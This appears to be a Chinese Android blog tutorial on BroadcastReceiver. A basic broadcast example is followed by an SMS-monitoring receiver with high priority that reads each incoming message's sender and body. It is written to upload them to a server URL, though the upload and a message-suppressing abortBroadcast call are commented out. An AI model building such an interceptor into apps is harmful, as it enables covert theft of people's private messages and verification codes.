BroadcastReceiver广播接受者简单使用
2024-08-31 09:20:58
1.注册BrocadcastReceiver
<receiver android:name=".FirstReceiver" >
<!-- 指定能够接收的广播类型 -->
<intent-filter>
<action android:name="a5" />
</intent-filter>
</receiver>
2.
//广播接收器
public class FirstReceiver extends BroadcastReceiver{
//接收intent并做出后续处理
@Override
public void onReceive(Context arg0, Intent arg1) {
String action = arg1.getAction();
int x = arg1.getIntExtra("x", 0);
System.out.println("--"+action+"--"+x); }
3.
public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void click(View v){
Intent it=new Intent();
//指定intent的操作
System.out.println("---00");
it.setAction("a5");
//附加参数
it.putExtra("x", 99);
//发送广播
this.sendBroadcast(it);
}
}
4. 以上代码能够简单实现广播的发送和接收。
<!-- 示例 -->
通过广播实现app短信监听
1.
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="23" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" /> <receiver android:name=".SMSReceiver" >
<intent-filter android:priority="1000" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
2.
package myapplication.com.canvas; import java.net.URL;
import java.net.URLConnection; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage; public class SMSReceiver extends BroadcastReceiver{ @Override
public void onReceive(Context arg0, Intent arg1) {
String action =arg1.getAction();
//收到短信的广播
if (action.equals("android.provider.Telephony.SMS_RECEIVED"))
{
//取出intent中的全部数据
Bundle bundle = arg1.getExtras();
//取出短信数据
Object os[] = (Object[]) bundle.get("pdus");
//定义可读取数据的短信格式
SmsMessage sm[]=new SmsMessage[os.length];
for (int i = 0; i < os.length; i++) {
//转化为字节数组
byte bs[]=(byte[]) os[i];
//转化
sm[i]=SmsMessage.createFromPdu(bs);
}
for (SmsMessage s : sm) {
//电话号码
String number = s.getDisplayOriginatingAddress();
//内容
String body = s.getMessageBody();
//System.out.println("--"+number+":"+body);
// Intent it=new Intent();
// it.setAction("my.a.b");
// Bundle data=new Bundle();
// data.putString("number", number);
// data.putString("body", body);
//
// it.putExtras(data);
// arg0.sendBroadcast(it);
send(number+"-"+body);
}
//中断广播
//abortBroadcast();
} }
//发送短信到指定的服务器
private void send(final String value) { new Thread(){
public void run() {
try
{
System.out.println(value);
// String path="http://172.27.35.1/sms.jsp?sms="+value;
// URL url=new URL(path);
// URLConnection con = url.openConnection();
// con.getInputStream();
} catch (Exception e) {
e.printStackTrace();
}
};
}.start(); } }
3.
最新文章
- PHP学习之登录以及后台商品展示
- 第十五章:Android 调用WebService(.net平台)
- Asp.net WebAPI 单元测试
- users
- freemark 判断是否为空 是否存在
- Android 客户端应用开发的架构
- DirectoryEntry配置IIS出现ADSI Error:未知错误(0x80005000)
- 六款最佳Linux教育应用
- error C2065:未声明的标识符错误
- opengl学习
- 关于API的设计和需求抽象
- Java面试题之四
- ntp升级
- 我眼中的JAVA的那些数据结构应用
- 谁说深入浅出虚拟机难?现在我让他通俗易懂(JVM)
- Go 语言数组
- 版本控制之最佳实践(Git版)
- 就算会用python画颗心,可你依然还是只单身狗
- SpringBoot使用Swagger2实现Restful API
- Linux 判断进程是否运行